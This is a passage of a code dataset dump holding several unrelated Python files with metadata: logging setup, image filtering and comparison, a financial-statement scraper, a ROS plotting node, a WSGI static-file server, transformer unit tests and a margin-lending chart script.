"os.makedirs", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path", "line_number": 128, "usage_type": "attribute"}, {"api_name": "shutil.copy2", "line_number": 129, "usage_type": "call"}]} {"seq_id": "489948544", "text": "import logging as logg\nfrom sys import stdout\n\nDG_loger = logg.Logger('Dg_loger')\nDG_debug_hendler = logg.FileHandler('DG_debug_log.txt', 'w')\nDG_info_hendler = logg.StreamHandler(stdout)\n\nDG_debug_hendler.setLevel(logg.DEBUG)\nDG_info_hendler.setLevel(logg.INFO)\n\nDG_debug_formater = logg.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nDg_info_formater = logg.Formatter('%(message)s')\n\nDG_debug_hendler.setFormatter(DG_debug_formater)\nDG_info_hendler.setFormatter(Dg_info_formater)\n\nDG_loger.addHandler(DG_debug_hendler)\nDG_loger.addHandler(DG_info_hendler)\n", "sub_path": "Andrii_Fokin/9/tools/dg_logging.py", "file_name": "dg_logging.py", "file_ext": "py", "file_size_in_byte": 577, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.Logger", "line_number": 4, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 5, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 6, "usage_type": "argument"}, {"api_name": "logging.DEBUG", "line_number": 8, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 9, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 12, "usage_type": "call"}]} {"seq_id": "260340852", "text": "# 使用Scharr变换找到边缘幅度。相比其他方法有更好的旋转不变性\n\nfrom skimage.filters import scharr, scharr_h, scharr_v\nfrom skimage import io, img_as_float\nfrom skimage.morphology import disk\nfrom skimage.color import rgb2gray\n\nimage = io.imread('/home/qiao/PythonProjects/Scikit-image_On_CT/Test_Img/4.jpg')\n# image = rgb2gray(image)\nio.imshow(image)\nio.show()\n\nmd = scharr(image)\nio.imshow(md)\nio.show()\n\nmd = scharr_h(image)\nio.imshow(md)\nio.show()\n\nmd = scharr_v(image)\nio.imshow(md)\nio.show()\n", "sub_path": "Filters/scharr.py", "file_name": "scharr.py", "file_ext": "py", "file_size_in_byte": 522, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "skimage.io.imread", "line_number": 8, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 8, "usage_type": "name"}, {"api_name": "skimage.io.imshow", "line_number": 10, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 10, "usage_type": "name"}, {"api_name": "skimage.io.show", "line_number": 11, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 11, "usage_type": "name"}, {"api_name": "skimage.filters.scharr", "line_number": 13, "usage_type": "call"}, {"api_name": "skimage.io.imshow", "line_number": 14, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 14, "usage_type": "name"}, {"api_name": "skimage.io.show", "line_number": 15, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 15, "usage_type": "name"}, {"api_name": "skimage.filters.scharr_h", "line_number": 17, "usage_type": "call"}, {"api_name": "skimage.io.imshow", "line_number": 18, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 18, "usage_type": "name"}, {"api_name": "skimage.io.show", "line_number": 19, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 19, "usage_type": "name"}, {"api_name": "skimage.filters.scharr_v", "line_number": 21, "usage_type": "call"}, {"api_name": "skimage.io.imshow", "line_number": 22, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 22, "usage_type": "name"}, {"api_name": "skimage.io.show", "line_number": 23, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 23, "usage_type": "name"}]} {"seq_id": "163686651", "text": "import cv2\nimport os\nimport numpy as np\n\nmatching_results = {}\nfiles = [f for f in os.listdir('.') if os.path.isfile(f)]\nfor file in files:\n\tif file.endswith(\".ppm\"):\n\t\tmatch = False\n\t\timage1 = cv2.imread(file)\n\t\timg1_gray = cv2.cvtColor(image1, cv2.COLOR_BGR2GRAY)\n\n\t\theight, width = img1_gray.shape\n\n\t\tfor file1 in files:\n\t\t\tif file1.endswith(\".ppm\") and file != file1:\n\t\t\t\timage2 = cv2.imread(file1)\n\t\t\t\timg2_gray = cv2.cvtColor(image2, cv2.COLOR_BGR2GRAY)\n\t\t\t\t# image_2 = image_resize(img2_gray, height = 800)\n\n\n\t\t\t\theight1, width1 = img2_gray.shape\n\t\t\t\tif height == height1 and width == width1:\n\t\t\t\t\tdifference = img1_gray - img2_gray\n\t\t\t\t\tresult = not np.any(difference)\n\t\t\t\t\tif result == True:\n\t\t\t\t\t\tmatching_results[str(file1)] = True\n\t\t\t\t\telse:\n\t\t\t\t\t\tif str(file1) in matching_results:\n\t\t\t\t\t\t\tif matching_results[str(file1)] != True:\n\t\t\t\t\t\t\t\tmatching_results[str(file1)] = False\n\nfor key, value in matching_results.items():\n\tif value == False:\n\t\tprint('No match found for the image : ',key)\t\n\telse:\n\t\tprint('Match found for the file : ', key)\t\t\t\t\n\t\t\t\t\t\t\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "sub_path": "pdfTest/pdfGeneratedImages/pdfImagesComparision.py", "file_name": "pdfImagesComparision.py", "file_ext": "py", "file_size_in_byte": 1080, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.listdir", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 11, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.any", "line_number": 25, "usage_type": "call"}]} {"seq_id": "4665818", "text": "\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nimport requests\nfrom datetime import date\n\nurlfinancials = 'https://www.marketwatch.com/investing/stock/msft/financials'\nurlbalancesheet = 'https://www.marketwatch.com/investing/stock/msft/financials/balance-sheet'\n\ntext_soup_financials = BeautifulSoup(\n requests.get(urlfinancials).text, \"lxml\") # read in\ntext_soup_balancesheet = BeautifulSoup(\n requests.get(urlbalancesheet).text, \"lxml\") # read in\n\n# build lists for Income statement\ntitlesfinancials = text_soup_financials.findAll(\n 'td', attrs={'class': 'overflow__cell'})\n# print(titlesfinancials)\nepslist = []\nnetincomelist = []\nlongtermdebtlist = []\ninterestexpenselist = []\nebitdalist = []\n\nfor title in titlesfinancials:\n if 'EPS (Basic)' in title.text:\n for td in title.findNextSiblings(attrs={'class': 'overflow__cell'}):\n epslist.append(td.text)\n if 'Net Income' in title.text:\n for td in title.findNextSiblings(attrs={'class': 'overflow__cell'}):\n netincomelist.append(td.text)\n if 'Interest Expense' in title.text:\n for td in title.findNextSiblings(attrs={'class': 'overflow__cell'}):\n interestexpenselist.append(td.text)\n if 'EBITDA' in title.text:\n for td in title.findNextSiblings(attrs={'class': 'overflow__cell'}):\n ebitdalist.append(td.text)\n\n# # find the table headers for the Balance sheet\ntitlesbalancesheet = text_soup_balancesheet.findAll(\n 'td', {'class': 'overflow__cell'})\nequitylist = []\nfor title in titlesbalancesheet:\n if 'Total Shareholders\\' Equity' in title.text:\n for td in title.findNextSiblings(attrs={'class': 'overflow__cell'}):\n equitylist.append(td.text)\n if 'Long-Term Debt' in title.text:\n for td in title.findNextSiblings(attrs={'class': 'overflow__cell'}):\n longtermdebtlist.append(td.text)\n\n\ndef get_element(list, element):\n try:\n return list[element]\n except:\n return '-'\n\n\n# # get the data from the income statement lists\n# # use helper function get_element\n# eps = get_element(epslist, 4)\n# epsGrowth = get_element(epslist, 4)\n# netIncome = get_element(netincomelist, 4)\n# shareholderEquity = get_element(equitylist, 4)\n# roa = get_element(equitylist, 4)\n\n# longtermDebt = get_element(longtermdebtlist, 4)\n# interestExpense = get_element(interestexpenselist, 4)\n# ebitda = get_element(ebitdalist, 4)\n\n# load all the data into dataframe\nfin_df = pd.DataFrame({'eps': epslist[:5], 'net Income': netincomelist[:5], 'shareholder Equity': equitylist[:5],\n 'longterm Debt': longtermdebtlist[:5], 'interest Expense': interestexpenselist[:5], 'ebitda': ebitdalist[:5]},\n index=range(date.today().year-5, date.today().year))\n\nfin_df.reset_index(inplace=True)\nprint(fin_df)\n# return fin_df\n\n\n# def get_element(list, element):\n# try:\n# return list[element]\n# except:\n# return '-'\n\n# content = driver.page_source\n# soup = BeautifulSoup(content)\n# for a in soup.findAll('a',href=True, attrs={'class':'_31qSD5'}):\n# name=a.find('div', attrs={'class':'_3wU53n'})\n# price=a.find('div', attrs={'class':'_1vC4OE _2rQ-NK'})\n# rating=a.find('div', attrs={'class':'hGSR34 _2beYZw'})\n# products.append(name.text)\n# prices.append(price.text)\n# ratings.append(rating.text)\n# df = pd.DataFrame({'Product Name':products,'Price':prices,'Rating':ratings})\n# df.to_csv('products.csv', index=False, encoding='utf-8')\n", "sub_path": "web.py", "file_name": "web.py", "file_ext": "py", "file_size_in_byte": 3491, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "bs4.BeautifulSoup", "line_number": 10, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 11, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 12, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 13, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 72, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 74, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 74, "usage_type": "name"}]} {"seq_id": "269392756", "text": "#!/usr/bin/env python\n\nimport rospy\nfrom nav_msgs.msg import Odometry\nimport tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\n\nstart_time = 0.0\nt_ = 0.0\nroll_ = 0.0\npitch_ = 0.0\n\ndef callback(msg):\n # print('callback')\n\n global start_time\n global t_\n global roll_\n global pitch_\n \n e = tf.transformations.euler_from_quaternion((msg.pose.pose.orientation.x, msg.pose.pose.orientation.y, msg.pose.pose.orientation.z, msg.pose.pose.orientation.w))\n\n if start_time>0:\n t_ = time.time() - start_time\n roll_ = e[0]\n pitch_ = e[1]\n\ndef graph():\n print('graph_rpy')\n rospy.init_node('graph_rpy', anonymous=True)\n rospy.Subscriber(\"/imu_odometry\", Odometry, callback)\n \n t = [0 for i in range(50)]\n roll = [0 for j in range(50)]\n pitch = [0 for k in range(50)]\n \n plt.ion()\n plt.figure()\n\n ### roll ###\n plt.subplot(2, 1, 1)\n # plt.title(\"roll\")\n plt.xlabel(\"time[s]\")\n plt.ylabel(\"roll[deg]\")\n plt.ylim(-5, 5)\n plt.grid(True)\n li_r, = plt.plot(t, roll)\n\n ### pitch ###\n plt.subplot(2, 1, 2)\n # plt.title(\"pitch\")\n plt.xlabel(\"time[s]\")\n plt.ylabel(\"pitch[deg]\")\n plt.ylim(-5, 5)\n plt.grid(True)\n li_p, = plt.plot(t, pitch)\n \n global start_time\n global t_\n global roll_\n global pitch_\n\n start_time = time.time()\n\n while not rospy.is_shutdown():\n # print('loop')\n \n t.append(t_)\n t.pop(0)\n roll.append(roll_/np.pi*180.0)\n roll.pop(0)\n pitch.append(pitch_/np.pi*180.0)\n pitch.pop(0)\n \n ### roll ###\n plt.subplot(2,1,1)\n li_r.set_xdata(t)\n li_r.set_ydata(roll)\n plt.xlim(min(t), max(t))\n # plt.draw()\n\n ### roll ###\n plt.subplot(2,1,2)\n li_p.set_xdata(t)\n li_p.set_ydata(pitch)\n plt.xlim(min(t), max(t))\n\n plt.draw()\n plt.pause(0.1)\n rospy.spin()\n\nif __name__ == '__main__':\n graph()\n", "sub_path": "src/graph_rpy.py", "file_name": "graph_rpy.py", "file_ext": "py", "file_size_in_byte": 1993, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tf.transformations.euler_from_quaternion", "line_number": 23, "usage_type": "call"}, {"api_name": "tf.transformations", "line_number": 23, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 26, "usage_type": "call"}, {"api_name": "rospy.init_node", "line_number": 32, "usage_type": "call"}, {"api_name": "rospy.Subscriber", "line_number": 33, "usage_type": "call"}, {"api_name": "nav_msgs.msg.Odometry", "line_number": 33, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.ion", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "time.time", "line_number": 65, "usage_type": "call"}, {"api_name": "rospy.is_shutdown", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 74, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "rospy.spin", "line_number": 92, "usage_type": "call"}]} {"seq_id": "495940533", "text": "#!/usr/bin/python\nimport os\nfrom datetime import datetime\nimport mimetypes\n\n# virtenv = os.environ['OPENSHIFT_PYTHON_DIR'] + '/virtenv/'\n# virtualenv = os.path.join(virtenv, 'bin/activate_this.py')\n# try:\n# execfile(virtualenv, dict(__file__=virtualenv))\n# except IOError:\n# pass\n\n\n#\n# IMPORTANT: Put any additional includes below this line. If placed above this\n# line, it's possible required libraries won't be in your searchable path\n#\n\n\n\n\ndef show_404_app(environ, start_response):\n ctype = 'text/html'\n response_headers = [('Content-Type', ctype)]\n start_response('404 Not Found', response_headers)\n response_body = '<html><head><title>Not found

Page not found in our servers. Visit the main page.

'\n return response_body\n\n\ndef content_type(path):\n \"\"\"Return a guess at the mime type for this path\n based on the file extension\"\"\"\n mime_type, discard = mimetypes.guess_type(path)\n if mime_type != None:\n return mime_type\n return \"application/octet-stream\"\n\ndef last_modified(path):\n return datetime.utcfromtimestamp(os.path.getmtime(path)).strftime('%a, %d %b %Y %H:%M:%S GMT')\n\ndef static_app(environ, start_response):\n \"\"\"Serve static files\"\"\"\n mypath = os.path.dirname(os.path.realpath(__file__))\n \n path = environ['PATH_INFO']\n\n for char in ('..', '*', '!', '`', '$', '<', '>'):\n path = path.replace(char, '')\n\n path = mypath + '/static' + path\n\n \n if path.endswith(('py', 'pyc', 'sh')):\n return show_404_app(environ, start_response)\n elif path.endswith('/'):\n path += 'index.html'\n if os.path.exists(path):\n with open(path, 'rb') as f:\n content = f.read()\n ctype = content_type(path)\n headers = [('Content-Type', ctype), \\\n ('Last-Modified', last_modified(path)), \\\n ('Content-Length', str(len(content)))]\n start_response('200 OK', headers)\n # if ctype == 'application/pdf' and os.path.exists(mypath + '/../logs'):\n return [content] \n else:\n return show_404_app(environ, start_response) \n\n \n# the main WSGI application\ndef application(environ, start_response):\n pi = environ['PATH_INFO']\n qs = environ['QUERY_STRING']\n return static_app(environ, start_response)\n \n \n#\n# Below for testing only\n#\nif __name__ == '__main__':\n from wsgiref.simple_server import make_server\n httpd = make_server('localhost', 8051, application)\n # Wait for a single request, serve it and quit.\n # httpd.handle_request()\n\n # Serve until process is killed\n httpd.serve_forever()\n\n \n", "sub_path": "wsgi.py", "file_name": "wsgi.py", "file_ext": "py", "file_size_in_byte": 2673, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "mimetypes.guess_type", "line_number": 33, "usage_type": "call"}, {"api_name": "datetime.datetime.utcfromtimestamp", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "name"}, {"api_name": "os.path.getmtime", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "wsgiref.simple_server.make_server", "line_number": 83, "usage_type": "call"}]} {"seq_id": "421383476", "text": "import unittest\n\nimport lore.transformers\nimport numpy\nimport pandas\nimport datetime\n\nclass TestAreaCode(unittest.TestCase):\n def setUp(self):\n self.transformer = lore.transformers.AreaCode('phone')\n\n def test_phone_formats(self):\n values = pandas.DataFrame({\n 'phone': [\n '12345678901',\n '+12345678901',\n '1(234)567-8901',\n '1 (234) 567-8901',\n '1.234.567.8901',\n '1-234-567-8901',\n '2345678901',\n '234.567.8901',\n '(234)5678901',\n '(234) 567-8901',\n ]\n })\n result = self.transformer.transform(values)\n self.assertEqual(result.tolist(), numpy.repeat('234', len(values)).tolist())\n\n def test_bad_data(self):\n values = pandas.DataFrame({\n 'phone': [\n '1234567',\n '(123)4567',\n '',\n None,\n 12345678901,\n ]\n })\n result = self.transformer.transform(values)\n self.assertEqual(result.tolist(), ['', '', '', None, ''])\n \n \nclass TestEmailDomain(unittest.TestCase):\n def setUp(self):\n self.transformer = lore.transformers.EmailDomain('email')\n\n def test_transform(self):\n values = pandas.DataFrame({\n 'email': [\n 'montana@instacart.com',\n 'sue-bob+anne@instacart.com'\n ]\n })\n result = self.transformer.transform(values)\n self.assertEqual(result.tolist(), numpy.repeat('instacart.com', len(values)).tolist())\n\n\nclass TestNameFamilial(unittest.TestCase):\n def setUp(self):\n self.transformer = lore.transformers.NameFamilial('name')\n\n def test_transform(self):\n values = pandas.DataFrame({\n 'name': [\n 'mom',\n 'Dad',\n 'sue bob'\n ]\n })\n result = self.transformer.transform(values)\n self.assertEqual(result.tolist(), [True, True, False])\n\n\nclass TestDateTime(unittest.TestCase):\n def test_transform_day_of_week(self):\n transformer = lore.transformers.DateTime('test', 'dayofweek')\n data = pandas.DataFrame({'test': [datetime.datetime(2016, 12, 31), datetime.date(2017, 1, 1)]})\n transformed = transformer.transform(data)\n self.assertEqual(transformed.iloc[0] + 1, transformed.iloc[1])\n\n\nclass TestAge(unittest.TestCase):\n def test_transform_age(self):\n transformer = lore.transformers.Age('test', 'days')\n yesterday = datetime.datetime.now() - datetime.timedelta(days=1)\n\n data = pandas.DataFrame({'test': [datetime.datetime.now(), yesterday]})\n transformed = transformer.transform(data)\n self.assertEqual(transformed.astype(int).tolist(), [0, 1])\n\n\nclass TestNameAge(unittest.TestCase):\n def test_transform_name(self):\n transformer = lore.transformers.NameAge('test')\n \n data = pandas.DataFrame({'test': ['bob', 'Bob']})\n transformed = transformer.transform(data)\n self.assertTrue(transformed.iloc[0] > 0)\n self.assertEqual(transformed.iloc[0], transformed.iloc[1])\n\n\nclass TestNameSex(unittest.TestCase):\n def test_transform_name(self):\n transformer = lore.transformers.NameSex('test')\n \n data = pandas.DataFrame({'test': ['bob', 'Bob']})\n transformed = transformer.transform(data)\n self.assertTrue(transformed.iloc[0] > 0)\n self.assertEqual(transformed.iloc[0], transformed.iloc[1])\n\n\nclass TestNamePopulation(unittest.TestCase):\n def test_transform_name(self):\n transformer = lore.transformers.NamePopulation('test')\n \n data = pandas.DataFrame({'test': ['bob', 'Bob']})\n transformed = transformer.transform(data)\n self.assertTrue(transformed.iloc[0] > 0)\n self.assertEqual(transformed.iloc[0], transformed.iloc[1])\n\n\nclass TestStringLower(unittest.TestCase):\n def test_transform_name(self):\n transformer = lore.transformers.String('test', 'lower')\n \n data = pandas.DataFrame({'test': ['bob', 'Bob']})\n transformed = transformer.transform(data)\n self.assertEqual(transformed.iloc[0], 'bob')\n self.assertEqual(transformed.iloc[1], 'bob')\n", "sub_path": "tests/unit/test_transformers.py", "file_name": "test_transformers.py", "file_ext": "py", "file_size_in_byte": 4328, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "unittest.TestCase", "line_number": 8, "usage_type": "attribute"}, {"api_name": "lore.transformers.transformers.AreaCode", "line_number": 10, "usage_type": "call"}, {"api_name": "lore.transformers.transformers", "line_number": 10, "usage_type": "attribute"}, {"api_name": "lore.transformers", "line_number": 10, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 31, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 44, "usage_type": "attribute"}, {"api_name": "lore.transformers.transformers.EmailDomain", "line_number": 46, "usage_type": "call"}, {"api_name": "lore.transformers.transformers", "line_number": 46, "usage_type": "attribute"}, {"api_name": "lore.transformers", "line_number": 46, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 56, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 59, "usage_type": "attribute"}, {"api_name": "lore.transformers.transformers.NameFamilial", "line_number": 61, "usage_type": "call"}, {"api_name": "lore.transformers.transformers", "line_number": 61, "usage_type": "attribute"}, {"api_name": "lore.transformers", "line_number": 61, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 64, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 75, "usage_type": "attribute"}, {"api_name": "lore.transformers.transformers.DateTime", "line_number": 77, "usage_type": "call"}, {"api_name": "lore.transformers.transformers", "line_number": 77, "usage_type": "attribute"}, {"api_name": "lore.transformers", "line_number": 77, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 78, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 78, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 78, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 83, "usage_type": "attribute"}, {"api_name": "lore.transformers.transformers.Age", "line_number": 85, "usage_type": "call"}, {"api_name": "lore.transformers.transformers", "line_number": 85, "usage_type": "attribute"}, {"api_name": "lore.transformers", "line_number": 85, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 86, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 86, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 86, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 88, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 88, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 88, "usage_type": "attribute"}, {"api_name": "unittest.TestCase", "line_number": 93, "usage_type": "attribute"}, {"api_name": "lore.transformers.transformers.NameAge", "line_number": 95, "usage_type": "call"}, {"api_name": "lore.transformers.transformers", "line_number": 95, "usage_type": "attribute"}, {"api_name": "lore.transformers", "line_number": 95, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 97, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 103, "usage_type": "attribute"}, {"api_name": "lore.transformers.transformers.NameSex", "line_number": 105, "usage_type": "call"}, {"api_name": "lore.transformers.transformers", "line_number": 105, "usage_type": "attribute"}, {"api_name": "lore.transformers", "line_number": 105, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 107, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 113, "usage_type": "attribute"}, {"api_name": "lore.transformers.transformers.NamePopulation", "line_number": 115, "usage_type": "call"}, {"api_name": "lore.transformers.transformers", "line_number": 115, "usage_type": "attribute"}, {"api_name": "lore.transformers", "line_number": 115, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 117, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 123, "usage_type": "attribute"}, {"api_name": "lore.transformers.transformers.String", "line_number": 125, "usage_type": "call"}, {"api_name": "lore.transformers.transformers", "line_number": 125, "usage_type": "attribute"}, {"api_name": "lore.transformers", "line_number": 125, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 127, "usage_type": "call"}]} {"seq_id": "232146410", "text": "#!/usr/bin/env python\n#encoding:utf-8\nimport numpy as np \nimport pandas as pd \nimport matplotlib as mpl\nmpl.use('Agg') \nfrom matplotlib.pyplot import *\n\nimport sys\n\n#mpl.rcParams['font.family'] = ['sans-serif']\n#mpl.rcParams['font.sans-serif'] = ['SimHei']\nmyfont = matplotlib.font_manager.FontProperties(fname='/usr/share/fonts/truetype/simhei.ttf')\nbegin_date = sys.argv[1]\nend_date = sys.argv[2]\n#begin_date = '2015-06-01'\n#end_date = '2015-08-07'\nSCALE = 20\n\nfigure(figsize=(20,12), dpi=200)\ntitle(begin_date + u' ~ ' + end_date + u' 沪市每日融券余额及增减图', fontproperties=myfont, fontsize = 28)\n#df = pd.read_csv('sh_rzrq_result.txt', index_col=0, parse_dates=True)\ndf = pd.read_csv('../../data/sh_rzrq_result_all.txt', index_col=0)\ndf = df.sort_index().loc[begin_date:end_date,'rqzj']\n\ndf1 = df.copy()\ndf1[df1.values < 0] = 0\ndf1[df1.values > SCALE] = SCALE\ndf1.plot(kind='bar', color='red', label=u'较前一日0-%s亿的增加量' %SCALE)\n\ndf2 = df.copy()\ndf2[df2.values > 0] = 0\ndf2[df2.values < -SCALE] = -SCALE\ndf2.plot(kind='bar', color='green', label=u'较前一日0-%s亿的减少量' %SCALE)\n\nlegend(loc='best')\nylim(-SCALE * 1.05, SCALE * 1.05)\n#yticks([-SCALE, -SCALE*3/4, -SCALE/2, -SCALE/4, 0, SCALE/4, SCALE/2, SCALE*3/4, SCALE],\n# [r'$-20$', r'$-15$', r'$-10$', r'$-5$', r'$0$', r'$5$', r'$10$', r'$15$', r'$20$'], fontsize=18)\n#ylabel(u'每日融券增减 (亿)', fontproperties=myfont, fontsize=18)\nyticks([-SCALE, -SCALE/2, 0, SCALE/2, SCALE],\n [r'$0$', r'$25$', r'$50$', r'$75$', r'$100$'], fontsize=24)\nylabel(u'每日融券余额 (亿)', fontproperties=myfont, fontsize=24)\naxhline(0,linestyle='-',linewidth=1, color='black')\ngrid(True)\nax1 = gca()\nleg = ax1.get_legend()\nltext = leg.get_texts()\nsetp(ltext, fontproperties=myfont, fontsize=18)\nax2 = ax1.twinx()\n\ndf7 = pd.read_csv('../../data/sh_rzrq_result_all.txt', index_col=0)\ndf7 = df7.sort_index().loc[begin_date:end_date,'rqye']\ndf7 = (df7 - 50) / 